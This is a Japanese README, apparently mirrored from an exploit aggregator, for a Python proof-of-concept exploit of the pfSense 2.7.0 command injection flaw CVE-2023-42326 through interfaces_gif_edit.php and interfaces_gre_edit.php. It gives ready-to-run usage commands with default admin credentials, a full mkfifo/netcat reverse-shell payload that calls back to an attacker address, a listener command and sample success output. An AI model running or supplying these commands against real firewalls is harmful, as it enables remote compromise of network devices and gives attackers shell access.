## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BL4CKARCH-CVE-2023-42326
# pfSense 2.7.0 コマンドインジェクションエクスプロイト (CVE-2023-42326)
このPythonスクリプトは、pfSense 2.7.0のコマンドインジェクション脆弱性(CVE-2023-42326)に対する概念実証(PoC)エクスプロイトです。この脆弱性により、認証された攻撃者は `interfaces_gif_edit.php` および `interfaces_gre_edit.php` コンポーネントを介して任意のコマンドを注入し実行できます。
## 機能
* エクスプロイトモード選択(`gif` または `gre`)により、脆弱なコンポーネントを選択します。
* 任意のシェルコマンドを実行するコマンドインジェクション機能。
* 自動スレッド管理によるNetcatリバースシェル処理。
* リクエストデータの可視性を高めるデバッグモード。
## 前提条件
スクリプトを実行する前に、以下の準備を確認してください:
* システムにPython 3.xがインストールされていること。
* 必要なPythonライブラリがインストールされていること:
root@kitploit:~
pip install requests beautifulsoup4 rich
## 使用方法
### 基本的な例(コマンドインジェクション)
以下のコマンドは、あなたのマシンにリバースシェルを作成するシェルコマンドを注入します:
root@kitploit:~
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
* `-u`: pfSense管理ログインのユーザー名。
* `-p`: pfSense管理ログインのパスワード。
* `--mode`: エクスプロイトモード(`gif` または `gre`)。
* `-t`: pfSenseのターゲットURL。
* `-c`: 注入するシェルコマンド。
* `-d`: (オプション)デバッグモードを有効にし、生の応答データを表示します。
### リバースシェルの例
お使いのマシンでNetcatリスナーが実行されていることを確認してください:
root@kitploit:~
nc -lvnp 80
次に、以下のようなリバースシェルコマンドでスクリプトを実行します:
root@kitploit:~
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
### デモGIF
1. **pfSenseにログインしてGIFインターフェースをエクスプロイト**

2. **リバースシェルの実行**

### スクリプトオプション
### 出力例
エクスプロイトが正常に実行されると、次のような出力が表示されます:
root@kitploit:~
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
### 注意事項
* **権限要件** : pfSenseインスタンスに対する有効な管理者認証情報が必要です。
* **対象システム** : このエクスプロイトはpfSense 2.7.0に固有のものです。
* **リバースシェル** : リバースシェルを設定する際は、ファイアウォール設定で指定したポートへの着信接続を許可してください。
### デバッグモード
送信されているリクエストの詳細を確認したい場合は、コマンドに `-d` を追加してデバッグモードを有効にできます。これにより応答データが出力され、問題のトラブルシューティングに役立ちます。
root@kitploit:~
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
### トラブルシューティング
* ターゲットシステムに到達可能であることを確認してください。
* ログインに使用する認証情報を再確認してください。
* 必要に応じて、`-d` フラグを使用してより詳細なログを取得してください。